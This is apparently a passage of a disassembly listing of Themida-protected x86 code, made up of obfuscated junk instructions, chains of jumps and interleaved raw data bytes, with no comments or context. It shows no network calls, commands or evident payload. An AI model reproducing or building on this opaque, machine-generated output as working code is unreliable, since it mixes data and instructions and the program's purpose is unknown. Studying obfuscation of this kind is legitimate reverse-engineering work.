a_gQs		db '_GÑïé',0Bh,'È',0
		dd 0E9F82800h, 0B1F8h, 2857BE56h, 0EEC12F84h, 8693E905h
		dd 66640000h, 6866028Bh, 896620E8h, 0EAE92404h,	1FFFFD2h
		dd 0D6C781D7h, 0E940FB3Eh, 3D0h, 4BE9EE81h, 0DE01153Eh
		dd 4BE9BB53h, 8DE9153Eh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555DDB:				; CODE XREF: Themida_:005595B3j
		mov	edx, ebx
		pop	ebx
		sub	eax, edx
		pop	edx
		add	eax, edx
		add	eax, 576D5EE1h
		pop	edx
		push	3F2Eh
		mov	[esp], eax
		push	21C0h
		mov	[esp], ebp
		mov	ebp, 10h
		mov	eax, ebp
		pop	ebp
		and	ebx, eax
		push	dword ptr [esp]
		jmp	loc_558C65
; ---------------------------------------------------------------------------

loc_555E0B:				; CODE XREF: Themida_:005632F0j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_553B8E
; ---------------------------------------------------------------------------

loc_555E21:				; CODE XREF: Themida_:0055BDAAj
		shl	ecx, 5
		jmp	loc_55F01B
; ---------------------------------------------------------------------------

loc_555E29:				; CODE XREF: Themida_:00561475j
		mov	ecx, [esp]
		add	esp, 4
		sub	al, bl
		push	edx
		mov	dh, 0B1h
		add	al, 17h
		sub	al, dh
		sub	al, 17h
		pop	edx
		push	ebx
		push	eax
		jmp	loc_55A82B
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 242C8BE9h,	8104C483h, 4E9h, 74FF5100h, 8F590424h
		dd 0E95C2404h, 1090Ah
; ---------------------------------------------------------------------------

loc_555E68:				; CODE XREF: Themida_:0055F261j
		mov	edx, 3EB21DFAh
		sub	edx, 2E7B0594h
		and	edx, 705333A4h
		and	edx, 2A716391h
		jmp	loc_55CC1A
; ---------------------------------------------------------------------------
aSss		db 'SéSÖ',0
		align 2
		dw 0C483h
		dd 24048F04h, 0A797E9h
		db 0
; ---------------------------------------------------------------------------

loc_555E95:				; CODE XREF: Themida_:0055FB0Aj
		push	eax
		push	6B76h
		mov	[esp], ebx
		mov	ebx, 43EC689Bh
		push	eax
		mov	eax, 1804719Bh
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565324
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 47B749B0h, 815AD329h, 1A2CF1C3h, 11EB816Bh, 0E9153D52h
		dd 0FFFFFBAFh, 800BB353h, 0DBF6FFC3h, 51F6EB80h, 84E9D988h
		dd 81000115h, 4C4h, 0C7805800h,	1D65E9FFh
		db 1, 0
; ---------------------------------------------------------------------------

loc_555EF2:				; CODE XREF: Themida_:005560D9j
		mov	edi, 0DF6009Eh
		jmp	loc_560661
; ---------------------------------------------------------------------------
		dd 5FA2F781h, 4CE9137Ch
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555F07:				; CODE XREF: Themida_:00567516j
		or	edi, 7C6C3070h
		add	edi, 0FFFFFFFFh
		jmp	loc_55C550
; ---------------------------------------------------------------------------

loc_555F15:				; CODE XREF: Themida_:0055342Aj
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_565AD2
; ---------------------------------------------------------------------------

loc_555F38:				; CODE XREF: Themida_:0055FE98j
		mov	ecx, [esp]
		jmp	loc_557792
; ---------------------------------------------------------------------------
		dd 233ABE56h, 0EE814FBAh, 401B1B18h, 476EE681h,	0C6814742h
		dd 14994C13h, 295EF029h, 4C3505D8h, 0BD551B9Bh,	4BEF6365h
		dd 0FA57372Dh, 341D0522h, 0A2E938FCh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555F77:				; CODE XREF: Themida_:0055B6CCj
		pop	ecx
		push	ebp
		push	748E2D06h
		jmp	loc_563104
; ---------------------------------------------------------------------------

loc_555F83:				; CODE XREF: Themida_:0056287Bj
		or	eax, esi
		mov	esi, [esp]
		jmp	loc_566829
; ---------------------------------------------------------------------------

loc_555F8D:				; CODE XREF: Themida_:00564ED0j
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_558A79
; ---------------------------------------------------------------------------

loc_555F98:				; CODE XREF: Themida_:0055E395j
		push	ebp
		push	ebx
		mov	ebx, 48753E65h
		mov	ebp, ebx
		pop	ebx
		push	ebx
		jmp	loc_553B2F
; ---------------------------------------------------------------------------

loc_555FA8:				; CODE XREF: Themida_:00554079j
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55F73D
; ---------------------------------------------------------------------------

loc_555FB4:				; CODE XREF: Themida_:00568318j
		add	eax, 589648F6h
		jmp	loc_561D97
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 8BD82801h, 0C481241Ch, 4, 80D2B652h,	6FE9B2E6h, 4FFFFFDDh
		dd 1D75C781h, 37E92B09h, 100006Dh, 93C181D1h, 8B4B1277h
		dd 0C4832414h, 477A6804h, 65E90000h, 0BD000003h, 25CD0857h
		dd 895D5E55h, 0CAE95EF3h, 0F70000C6h, 49B951DBh, 10D4C5Dh
		dd 0D98959CBh, 0D4F0E9h, 0F6C18600h, 0F5ADE9D0h, 0AEBDFFFFh
		dd 0E95C9E35h, 53C4h, 3756F681h, 0F7013270h, 0E44CE9h
		dd 24042900h, 568D0D58h, 0B0E957E3h, 87FFFFD0h,	2FE92434h
		dd 33FFFFD1h, 248B2404h, 57166824h, 0C890000h, 0CC685524h
		dd 5D248D14h, 46A1ED81h, 0F581701Ah, 0B472CE2Ah, 0E95DE989h
		dd 0FFFFF665h, 0FFC0B60Fh, 34FF8734h, 89505824h, 405E0h
		dd 0EDE90000h, 660000A3h, 57240C8Bh, 0FC68E789h, 8900003Bh
		dd 3DBD242Ch, 4520784Ch, 1251DE9h, 0E9C62100h, 12C4h, 4BE56h
		dd 0C1810000h, 528B456Ah, 0E981F101h, 528B456Ah, 989CE95Eh
		dd 8B660000h, 0E953240Ch, 5A4Eh
; ---------------------------------------------------------------------------

loc_5560D8:				; CODE XREF: Themida_:00555585j
		push	edi
		jmp	loc_555EF2
; ---------------------------------------------------------------------------
		dw 0DF29h
		dd 2F36C781h, 6AE97D03h
		db 2, 1, 0
; ---------------------------------------------------------------------------

loc_5560EB:				; CODE XREF: Themida_:0055635Bj
		sub	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_568B3B
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 65A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_556105:				; CODE XREF: Themida_:00554499j
		shl	edx, 3
		sub	edx, 38A64728h
		add	edx, 2421098Dh
		add	edx, 0D12D5388h
		jmp	loc_567844
; ---------------------------------------------------------------------------
		db 1
		dd 3CE95BDDh
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------

loc_556127:				; CODE XREF: Themida_:0055B333j
		sub	edi, 0D8633E91h
		mov	eax, edi
		pop	edi
		mov	edi, 0AD1DE779h
		add	edi, eax
		pop	eax
		push	ebp
		jmp	loc_55A7CD
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 56FC4083h, 0C532E981h, 0C8290886h, 4C79E959h, 14890000h
		dd 0E99C5024h, 0FFFFCF49h, 4BD555Eh, 1000000h, 7F22E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55616A:				; CODE XREF: Themida_:0056275Ej
		add	esi, 0C643ED7h
		add	esi, 97F55394h
		or	eax, esi
		mov	esi, [esp]
		push	ebp
		push	esp
		jmp	loc_558613
; ---------------------------------------------------------------------------
		dw 0D129h
		dd 8159CA89h, 0E85F2EEAh, 73C2810Ch, 0E9B28328h, 0FFFFD102h
		dd 0A2E9565Ah
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55619F:				; CODE XREF: Themida_:00568B4Bj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55A31A
; ---------------------------------------------------------------------------
		dd 0E9240433h, 0FFFFF8F0h, 8704EF83h, 895C243Ch, 1FB1240Ch
		dd 0C8287B2Ch, 0F2AEE9h, 0C4815900h, 4,	89F58955h, 50E95DEBh
		dd 8100008Eh, 1C49FFC6h, 5EF7013Bh, 30FFBD55h, 0EF292A98h
		dd 81242C8Bh, 4ECh, 8769E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556206:				; CODE XREF: Themida_:00566824j
		add	eax, 4D2A3278h
		mov	ecx, [esp]
		push	esi
		jmp	loc_55D798
; ---------------------------------------------------------------------------
		dd 34FFF589h, 0C4815E24h, 4, 5131E9h, 10FBBE00h, 0F7015B69h
		dd 2C9CE95Eh, 0BA660000h, 0F76665C9h, 0F28166DAh, 0F76644BEh
		dd 0EA8166D2h, 57E97875h
		db 1Eh,	1, 0
; ---------------------------------------------------------------------------

loc_55624B:				; CODE XREF: Themida_:00555A9Cj
		mov	ebx, 64885577h
		or	ebx, 5EC11111h
		push	eax
		push	esi
		jmp	loc_56348A
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 53h
		dd 2E2146BBh, 0FFDF3192h, 60E92434h, 0C10000E9h, 0C78108EFh
		dd 3430F5F3h, 295FF889h, 535E58C1h, 2BBh, 0C4E98100h, 295FBF20h
		dd 6E48E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556292:				; CODE XREF: Themida_:005629FAj
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, ebx
		jmp	loc_55893C
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0BD550000h, 69521E53h, 0E74EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5562B5:				; CODE XREF: Themida_:0056114Bj
		not	edi
		push	eax
		mov	eax, 319B6BCEh
		sub	edi, 676F71AEh
		jmp	loc_555AA9
; ---------------------------------------------------------------------------
aHc		db '[hc%',0
		align 2
		dw 3C89h
		dd 4BF24h, 0FA010000h, 2414875Fh, 0FEB9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5562E1:				; CODE XREF: Themida_:00560978j
		push	esi
		not	dword ptr [esp]
		jmp	loc_557E8F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 25768h, 24348900h, 457F95BEh, 0DA0BE972h
		dd 0CE310000h, 1C181h, 0CE870000h, 713AF681h, 0EC837CCFh
		dd 242C8904h, 11340E9h
		db 0
; ---------------------------------------------------------------------------

loc_55631D:				; CODE XREF: Themida_:005538B4j
		mov	esi, edx
		pop	edx
		sub	edx, 479D6B91h
		sub	edx, 26550494h
		sub	edx, esi
		jmp	loc_5579C5
; ---------------------------------------------------------------------------
		db 52h
		dd 8AE9B4B2h, 66000121h, 0F581664Dh, 5566741Eh,	24048166h
		dd 8B66633Fh, 0CEE92414h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_556353:				; CODE XREF: Themida_:0056361Bj
		mov	edi, 3F4EEDFDh
		xor	edi, edx
		pop	edx
		jmp	loc_5560EB
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4, 515DE901h, 42474FFh, 24048F59h, 4CC7685Ch
		dd 1C890000h, 1C8B5424h, 0D725E924h, 0E1D00000h, 0E9C8F180h
		dd 0FFFFFC8Dh, 8B240C87h, 0B8502424h, 7551660Dh, 4F32BE56h
		dd 53520805h, 0D44F34BBh, 5BDA8913h, 0E281DAF7h, 94B2129h
		dd 39D6BF57h, 0C78160A9h, 0FD05F6EBh, 2BE9FA31h, 6600009Ah
		dd 6824048Bh, 1B99h, 54243C89h,	0BB53515Fh, 45B4624Ch
		dd 68E3D1h, 0E9000000h,	0FFFFFA9Ch, 5004C483h, 405E089h
		dd 0E9000000h, 0FFFFDF77h
; ---------------------------------------------------------------------------

loc_5563F8:				; CODE XREF: Themida_:00564C1Bj
		pop	ebp
		pop	edi
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_56139A
; ---------------------------------------------------------------------------

loc_556404:				; CODE XREF: Themida_:0055DBACj
		mov	ebp, 1
		and	eax, ebp
		jmp	loc_55F0A1
; ---------------------------------------------------------------------------

loc_556410:				; CODE XREF: Themida_:00561ACBj
		sub	ebx, 0ED32902h
		jmp	loc_561CD2
; ---------------------------------------------------------------------------
		db 59h
		dd 0F602E3C0h, 36C380D3h, 0E973B450h, 654Ah
; ---------------------------------------------------------------------------

loc_55642C:				; CODE XREF: Themida_:0056684Bj
		add	esp, 4
		sub	ebp, 480801F9h
		sub	ebp, 0B745C576h
		sub	eax, 60D85F6Ah
		sub	eax, 2A6177CCh
		add	eax, ebp
		push	edi
		mov	edi, 4231025Dh
		inc	edi
		and	edi, 3BAB280Fh
		or	edi, 0DB87551h
		not	edi
		add	edi, 28BE3739h
		sub	edi, 0EEA34A0Dh
		add	eax, edi
		pop	edi
		add	eax, 60D85F6Ah
		pop	ebp
		inc	eax
		push	edx
		mov	edx, 2B80297Ah
		jmp	loc_559863
; ---------------------------------------------------------------------------
		dd 351FA2BFh, 96C78169h, 1870290h, 1976E9FEh, 0CE810001h
		dd 4107482Fh, 3388EE81h, 0F121321Eh, 55C1815Eh,	0F77AE316h
		dd 0E6F181D1h, 2DC3FD8Bh, 5AF46E83h, 0BE56C829h, 1F824C91h
		dd 55D0C681h, 0EE811F68h, 1DEB49A6h, 6FAAE681h,	0C6812B5Eh
		dd 3CDF4CB4h, 26DBEE81h, 0F0010249h, 0F029595Eh, 0E62E4005h
		dd 0F0BBE947h, 51560000h, 52E9E189h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5564F3:				; CODE XREF: Themida_:005582ECj
		pop	edi
		shl	edi, 8
		add	edi, 37D6F204h
		mov	eax, edi
		pop	edi
		push	7DF7h
		mov	[esp], edi
		mov	edi, 58CD1079h
		jmp	loc_565187
; ---------------------------------------------------------------------------
aR4zfssje	db 'Rº4ZFs醥',0
		dd 243C8B00h, 5FC1E9h, 0C2EF8100h, 0C1201D09h, 0C78108EFh
		dd 6764296Eh, 0EC050E05h, 2DF82947h, 47EC050Eh,	240C8B5Fh
		dd 0F38EE9h, 2434FF00h,	8B2434FFh, 0C483240Ch, 4C48304h
		dd 8904EC83h, 93E9241Ch
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556563:				; CODE XREF: Themida_:00558125j
		push	ebp
		mov	ebp, 21ED3BF0h
		xor	ebp, 5276656Fh
		add	ebp, 51D4052Dh
		shl	ebp, 8
		sub	ebp, 2D712BECh
		xor	ebp, 0E9EF267h
		add	ebx, ebp
		pop	ebp
		sub	ebx, esi
		push	eax
		mov	eax, 4F6C5273h
		sub	ebx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		not	ebx
		jmp	loc_568393
; ---------------------------------------------------------------------------
		dw 0ED83h
		dd 87C581FFh, 0E90F9F04h, 695Dh, 5307C181h, 0CB29CBC1h
		dd 122C5E9h, 46800h, 81580000h,	5A20AFC5h, 21ED8158h, 17FB337h
		dd 7BB850C5h, 0E92AD141h, 0FFFFF0B9h, 4DB9EE81h, 93E9C6A9h
		dd 0FF0000AFh, 0E95B2434h, 10A8Dh, 0C581F501h, 3F20766Ch
		dd 39C3815Eh, 1327B3Eh,	39EB81EBh, 5D327B3Eh, 0E904EB83h
		dd 0D70Ah, 3FB0F781h, 42E9167Fh, 5100006Dh, 0B2211AB9h
		dd 83685626h, 5E40BC17h, 0EEC1DEF7h, 0E9DEF704h, 0FFFFE747h
		dd 8A240C28h, 0C483240Ch, 0E9C1FE02h, 0FFFFE653h
; ---------------------------------------------------------------------------

loc_556644:				; CODE XREF: Themida_:00558F12j
		mov	esi, 30F72622h
		add	ebx, esi
		pop	esi
		push	eax
		push	ebp
		mov	ebp, 0
		mov	eax, ebp
		pop	ebp
		sub	eax, 13503007h
		add	eax, ebx
		jmp	loc_558E55
; ---------------------------------------------------------------------------
aKbiTk@s	db 'Kë~tª@éÁ\',0
		align 2
		dw 0BA52h
		dd 4, 148BD301h, 4C48324h, 4B951h, 0CB010000h, 241C3359h
		dd 0AD3DE9h, 24143300h,	0DE54E9h, 4C48300h, 7B95155h, 8958F752h
		dd 0F58159CDh, 3AA1075Ch, 1193E581h, 0C5817F60h, 9DBFEEF1h
		dd 835DEA01h, 0EC8102C2h, 4, 0FF241489h, 0FF042474h, 148B2434h
		dd 4C48124h, 0E9000000h, 0D2FBh, 8922C581h, 0EB89CC9Ch
		dd 0E9D8895Dh, 0FFFFCCA1h, 0E9EF8853h, 6895h, 0E7BF5750h
		dd 0F7001729h, 0D8F781D7h, 57B31FBAh, 8715E9h
		db 0
; ---------------------------------------------------------------------------

loc_556705:				; CODE XREF: Themida_:00565B07j
		sub	ecx, 3CE04CE6h
		jmp	loc_558122
; ---------------------------------------------------------------------------
		dd 5008E9C1h, 0F6125B8h, 58C10910h, 10CEFE9h, 4EC8100h
		dd 89000000h, 0C5E9240Ch
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55672F:				; CODE XREF: Themida_:00563554j
		sub	ebp, 6A7576F4h
		jmp	loc_55D13D
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0C790CC2h, 11EB1E9h,	0C3805800h, 0B9EB8007h,	0B252C328h
		dd 5AD300B9h, 2807B450h, 0EB8058E3h, 2EC8110h, 66000000h
		dd 0E9241489h, 6136h
; ---------------------------------------------------------------------------

loc_55676C:				; CODE XREF: Themida_:005649CDj
		add	edx, 31DA1558h
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_5597EC
; ---------------------------------------------------------------------------

loc_556780:				; CODE XREF: Themida_:0055E5ECj
		mov	esi, edx
		jmp	loc_55F75F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 0BBD2E9h
		db 0
; ---------------------------------------------------------------------------

loc_556795:				; CODE XREF: Themida_:0055AD85j
		push	edi
		mov	edi, 1CC30920h
		jmp	loc_560B50
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C8704h, 24048F5Ch, 0C8EFE95Ch
		dd 0EF81FFFFh, 81D0668h, 0C781EF01h, 81D0668h, 6CBB535Dh
		dd 5725941Dh, 905548BFh, 0E9FB293Bh, 116E6h, 0E950E289h
		dd 1EEBh, 6155FBBDh, 0A9ED817Eh, 0E9178D07h, 0FFFFF4E9h
		dd 0F4EA815Ch, 0E974915Bh, 0FABBh, 0E91EF380h, 0FFFFD724h
; ---------------------------------------------------------------------------

loc_556804:				; CODE XREF: Themida_:0055E8A1j
		push	edi
		jmp	loc_567511
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 5B9h, 0D7895B58h, 0E9FD895Ah, 0AB44h, 4C3835Ah
		dd 0DE9AE9h
		db 0
; ---------------------------------------------------------------------------

loc_556829:				; CODE XREF: Themida_:0055BE26j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_56772B
; ---------------------------------------------------------------------------
		dd 7EDC05Ah, 4C0C580h, 51E80059h, 0ED8020B5h, 8EACE9C7h
		dd 0EB810000h, 79587DFAh, 5BB8EB81h, 0F3012BFAh, 5BB8C381h
		dd 0C3812BFAh, 79587DFAh, 5E2434FFh, 51E38953h,	4B9h, 0FAEB8100h
		dd 109B704h, 0FAC381CBh, 5909B704h, 4B850h, 0C3010000h
		dd 241C3358h, 33241C31h, 835C241Ch, 0E95302C3h,	0A02Fh
; ---------------------------------------------------------------------------

loc_5568A4:				; CODE XREF: Themida_:0055F949j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_567D7F
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24148B04h, 505E5456h, 3B6C85B8h, 6AE02D5Ah, 0D0F71435h
		dd 5216E9h
		db 0
; ---------------------------------------------------------------------------

loc_5568D5:				; CODE XREF: Themida_:00561508j
		push	1CD5h
		jmp	loc_5573E2
; ---------------------------------------------------------------------------
a_obc9		db '_OçÍ=9',0
		db 0C1h
		dd 0FAE908E7h
		db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5568EF:				; CODE XREF: Themida_:0055BD7Dj
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, 3A2E18A3h
		jmp	loc_568845
; ---------------------------------------------------------------------------
aPsb7		db 'Pé7',0
		align 2

loc_556906:				; CODE XREF: Themida_:0055E044j
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55E700
; ---------------------------------------------------------------------------

loc_55691A:				; CODE XREF: Themida_:0055EE83j
		add	edi, 7C44619Fh
		shl	edi, 5
		dec	edi
		and	edi, 66114C5Ch
		xor	edi, 643660CCh
		jmp	loc_55E165
; ---------------------------------------------------------------------------
aPJWXsqw	db 'P°J$w,±',8,'ÆXéïw',0
		align 4
		dd 489665Ch, 57B35324h,	0E9BBB753h, 4F5Fh, 2DC0A968h, 0C82959ECh
		dd 8BC28959h, 0C4832404h, 0E9D30104h, 0FFFFD15Ah, 0B4CAE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556972:				; CODE XREF: Themida_:00554B61j
		pop	ebp
		add	esp, 4
		add	edx, 65734876h
		add	edx, ebp
		sub	edx, 65734876h
		add	edx, 3FAD5A3Eh
		push	ebp
		mov	ebp, 5FD9594Ah
		neg	ebp
		add	ebp, 3FC915C1h
		or	ebp, 69024294h
		inc	ebp
		shr	ebp, 8
		jmp	loc_5537A5
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 78C26F32h, 0F80FE9h
		db 0
; ---------------------------------------------------------------------------

loc_5569B5:				; CODE XREF: Themida_:0055CEAEj
		mov	[esp], cx
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 55E08950h, 0D43FB6BDh, 0E5E58115h, 8157583Fh, 884360EDh
		dd 40B95177h, 0E99DC7FCh, 0B69Eh, 4C781h, 0C7830000h, 243C3304h
		dd 33243C31h, 0E95C243Ch, 98A3h, 5AD028h, 79A768C8h, 0C890000h
		dd 3CB05024h, 0A1EAE9h
		db 0
; ---------------------------------------------------------------------------

loc_556A11:				; CODE XREF: Themida_:00565270j
		xor	esi, 7BA62F20h
		or	esi, 292740Fh
		jmp	loc_5677ED
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 1012E981h, 34FF7DB9h, 0C4815824h, 4,	4EC81h,	0C890000h
		dd 2474FF24h, 48F5904h,	24248B24h, 14E368h, 1078E900h
		dd 0BF570000h, 317B47DDh, 3951EF81h, 0EF8141BCh, 2D454763h
		dd 0E87BF781h, 0FB09ADE7h, 76B1E9h, 4C48100h, 0
aZhS		db 'ÐZhÃS',0
		dw 8900h
		dd 5066241Ch, 271868h, 24148900h, 0B3E9ABB2h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556A93:				; CODE XREF: Themida_:00559BD4j
		mov	edx, 38124BFCh
		sub	ebx, 736976D3h
		sub	ebx, edx
		add	ebx, 736976D3h
		pop	edx
		push	eax
		mov	eax, 11426781h
		jmp	loc_564198
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 57F650A0h, 6859CB01h, 695Ah,	52240C89h, 271905BAh, 5AD1896Eh
		dd 16B8BB53h, 0A5E96A5Dh, 81FFFFD1h, 91D9BCC5h,	8BEA0114h
		dd 8950242Ch, 405E0h, 64E90000h, 66000035h, 6601B168h
		dd 66241489h, 0A6E99C50h, 89FFFFC5h, 4832424h, 81590424h
		dd 4C1h, 4C18300h, 5C240C87h, 1DB868h, 24348900h, 24C4E9h
		dd 83EDD100h, 92E904ECh, 680000FFh, 7810h, 81243C89h, 40802434h
		dd 1C8B5FB1h, 4C48324h,	4080F381h, 0DFE95FB1h, 55FFFFE7h
		dd 7E50F1BDh, 0B9CD8131h, 815FBA70h, 9F0E69EDh,	5DEB2927h
		dd 767BE95Ah, 0BA520000h, 4F9C3737h, 0CA81D2F7h, 4C8D3848h
		dd 0C280E9h
		db 0
; ---------------------------------------------------------------------------

loc_556B79:				; CODE XREF: Themida_:00565AE3j
		sub	eax, 3CB6439Dh
		add	edi, eax
		jmp	loc_560472
; ---------------------------------------------------------------------------

loc_556B85:				; CODE XREF: Themida_:0055E93Ej
		push	eax
		mov	al, 88h
		mov	dh, 67h
		jmp	loc_55779D
; ---------------------------------------------------------------------------
		db 80h
		dd 0C580F6E5h, 59EB2891h, 83240C8Bh, 0B60F04C4h, 48F66C0h
		dd 0C4FBE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556BAA:				; CODE XREF: Themida_:005671F5j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	3B51h
		mov	[esp], ebx
		push	edx
		mov	edx, 564E6DF0h
		jmp	loc_55D80D
; ---------------------------------------------------------------------------
		db 66h,	21h, 0DFh
		dd 56665B66h, 9510BE66h, 0BD665566h, 81666E8Ah,	0E9046EC7h
		dd 0DEAEh
; ---------------------------------------------------------------------------

loc_556BE4:				; CODE XREF: Themida_:0055C7FCj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 29975103h
		xor	edi, 47BC4D6Ah
		neg	edi
		or	edi, 2CA07880h
		push	edx
		mov	edx, 583BE9A9h
		sub	edi, edx
		pop	edx
		jmp	loc_5609C7
; ---------------------------------------------------------------------------

loc_556C0C:				; CODE XREF: Themida_:0055CACEj
		push	eax
		mov	eax, 42677A86h
		shl	eax, 8
		sub	eax, 0CB86650h
		shr	eax, 4
		sub	eax, 1
		inc	eax
		sub	eax, 5AC21F7h
		sub	ecx, 5BB253B1h
		add	ecx, eax
		jmp	loc_564146
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4EFh, 243C8700h, 55FE9h, 81C52900h, 555746C5h
		dd 0B951586Eh, 35AF5FCCh, 0E957D1F7h, 0FA0Eh, 0E53C75BEh
		dd 5EF50147h, 0ED81F501h, 47E53C75h, 0BE56555Eh, 514D2992h
		dd 4247431h, 24048B5Eh,	4C481h,	20E90000h, 5CFFFFE0h, 9DE9C009h
		dd 0FF00003Ah, 0FF042474h, 835B2434h, 48F04C4h,	0BCE95C24h
		dd 8FFFFFE3h, 0E95C2404h, 8F7h
; ---------------------------------------------------------------------------

loc_556CB0:				; CODE XREF: Themida_:005538A2j
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	eax, [esp]
		jmp	loc_5628D8
; ---------------------------------------------------------------------------
		dd 327A68h, 24348900h, 5C28F9BEh, 4EEC149h, 1EBFBA52h
		dd 0D60960AEh, 8324148Bh, 0CE8104C4h, 3819360Fh, 0B3F3EE81h
		db 78h,	0Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_563EA2
; ---------------------------------------------------------------------------
		dd 0AB05F829h, 504C364h, 30814C5Bh, 57243C8Bh, 11B42E9h
		dd 0B60F6600h
		db 0CCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 67262FD6h
		shr	esi, 2
		push	ecx
		mov	ecx, 1A02476h
		dec	ecx
		shl	ecx, 8
		sub	ecx, 7A2034A6h
		xor	esi, ecx
		pop	ecx
		add	esi, 0C0323455h
		add	ebp, esi
		pop	esi
		push	edx
		mov	edx, 6B0B10E7h
		push	edx
		jmp	loc_55D03F
; ---------------------------------------------------------------------------
		db 0BAh, 0BEh, 1Dh
		dd 0D2F75206h, 0DAF7DAF7h, 0BE56D2F7h, 7A161D3Bh, 3CC1E9h
		dd 95EC8000h, 5EEC80h, 5EC480ECh, 6695C480h, 6CEB8059h
		dd 0C380E300h, 0D28DE96Ch, 0C483FFFFh, 0CFE95204h, 810000B7h
		dd 4C4h, 2DCC6800h, 4890000h, 0F81BE924h, 0E95BFFFFh, 0FFFFEB08h
		dd 0C5E9DF01h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556DAF:				; CODE XREF: Themida_:0055FFECj
		pop	edi
		and	esi, 60F42D0Ah
		push	ecx
		mov	ecx, 1AF07EFAh
		xor	esi, ecx
		pop	ecx
		jmp	loc_557023
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 0B3F9E9h,	24540100h, 2434FF04h, 0B1F2E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556DDA:				; CODE XREF: Themida_:00561DFAj
		add	edx, 4
		jmp	loc_5682D5
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 14h
		dd 1429467h, 5D08246Ch,	36B6E9h, 2EDF2D00h, 0A2E95F70h
		dd 0BDFFFFF4h, 4, 2C8BEE29h, 0F5C1E924h, 535A0000h, 0D04803BBh
		dd 49CB816Fh, 0C1009D01h, 0A2E906E3h, 68000067h, 1014h
		dd 27FB68h, 24248900h, 4240483h, 8324048Fh, 0FF042404h
		dd 835E2434h, 306804C4h, 8900007Eh, 4BF243Ch, 1000000h
		dd 2434FFFEh, 0E954505Fh, 9AD7h, 0EE3E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556E62:				; CODE XREF: Themida_:0055C18Dj
		push	51DFh
		mov	[esp], esp
		jmp	loc_5633C0
; ---------------------------------------------------------------------------
aISpn		db '‰$$é',0
		dw 8300h
		dd 1B6804ECh, 54000059h, 8324048Fh, 8F042404h, 4832404h
